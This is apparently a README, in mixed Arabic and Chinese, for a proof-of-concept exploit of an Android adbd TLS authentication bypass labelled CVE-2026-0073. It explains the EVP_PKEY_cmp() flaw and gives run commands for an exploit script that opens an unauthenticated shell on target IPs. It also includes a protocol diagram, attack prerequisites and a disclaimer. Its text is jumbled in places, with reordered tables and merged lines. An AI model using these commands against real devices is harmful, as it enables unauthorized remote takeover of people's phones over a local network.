
CVE-2026-0073-Android-ADBD-bypass-POC汉化版
يوجد ثغرة تجاوز مصادقة حرجة في برنامج خادم ADB (adbd) في أندرويد، تسمح لأي مهاجم على الشبكة المحلية بالحصول على shell كامل على الجهاز المستهدف دون إذن المستخدم.
توجد الثغرة في دالة adbd_tls_verify_cert() الموجودة داخل ملف daemon/auth.cpp، حيث يُستخدم EVP_PKEY_cmp() كقيمة منطقية. عندما يكون المفتاح المخزن من نوع RSA بينما يحمل شهادة عميل TLS المقدَّمة مفتاحًا غير RSA (EC P-256 أو Ed25519)، تُرجع EVP_PKEY_cmp() القيمة -1 (عدم تطابق النوع)، وهي قيمة صحيحة في C/C++، وبالتالي يصبح authorized = true.
// daemon/auth.cpp 中的易受攻击代码模式
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 是真值!
已授权 = true;
}
pip install cryptography
# 交互式 shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# 单命令执行
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# 详细模式(查看完整协议跟踪)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
افتراضيًا، يحاول البرنامج النصي تلقائيًا EC P-256 → Ed25519 → EC/TLS 1.2 حتى ينجح.
攻击者目标(adbd)
│ │
│──── TCP 连接 ──────────────────►│
│──── CNXN(明文)────────────►│
│◄─── STLS(TLS 升级请求)──│
│──── STLS 回复 ──────────────────►│
│ │
│════ TLS 1.3 握手 ════════════│
│(已提交 EC P-256 客户证书)│
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 为真 → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN(设备信息)──────────│
│──── 打开“shell:” ───────────────►│
│◄─── 好的 ────────────────────────│
│◄──► WRTE/OKAY(shell I/O)──────►│
│ │
【完全 shell 访问权限】
| المتطلب | التفاصيل |
|---|
⚠️ ملاحظة مهمة: يجب أن يكون مفتاح RSA موجودًا في ملف /data/misc/adb/adb_keys، والذي يتم ملؤه عبر اقتران تصحيح أخطاء USB (قبول مربع حوار "السماح بتصحيح أخطاء USB؟"). تخزّن عملية الاقتران اللاسلكي (adb pair) المفاتيح في موقع مختلف (adb_known_hosts.pb)، وبالتالي لا تستوفي هذا المتطلب.
adb shell getprop ro.build.version.security_patch
تم اختبارها والتأكد من عملها بشكل صحيح على:
内核:6.1.23-android14-4-00257-g7e35917775b8-ab9964412
平台:Android 14(Android Studio 模拟器)
يحتوي هذا الفرع على التحسينات التالية:
select() لدعم عبر المنصات-vCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # 主漏洞利用脚本
└── README.md # 此文件
هذه الأداة مخصصة لأغراض الاختبار الأمني المصرح به والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر يُعد انتهاكًا للقانون. احصل دائمًا على التفويض المناسب قبل الاختبار. لا يتحمل المؤلف أي مسؤولية عن سوء استخدام هذا البرنامج.
إذا كان هذا مفيدًا لأبحاثك، فيرجى ترك نجمة ⭐
قيمة إرجاع EVP_PKEY_cmp() | المعنى | قيمة صحيحة في C؟ | النتيجة |
|---|
1 | المفتاحان متطابقان | ✅ | مصرح به (صحيح) |
0 | المفتاحان مختلفان | ❌ | مرفوض (صحيح) |
-1 | عدم تطابق النوع | ✅ | مصرح به (BUG) |
| خيار المطورين | مفعّل على الجهاز المستهدف |
| تصحيح الأخطاء اللاسلكي | مفعّل (أو ADB عبر منفذ TCP 5555) |
| مفتاح RSA مخزَّن | يجب أن يكون الجهاز قد اقترن عبر USB مرة واحدة على الأقل (/data/misc/adb/adb_keys) |
| الوصول إلى الشبكة | يجب أن يصل المهاجم إلى منفذ TCP الخاص بـ adbd |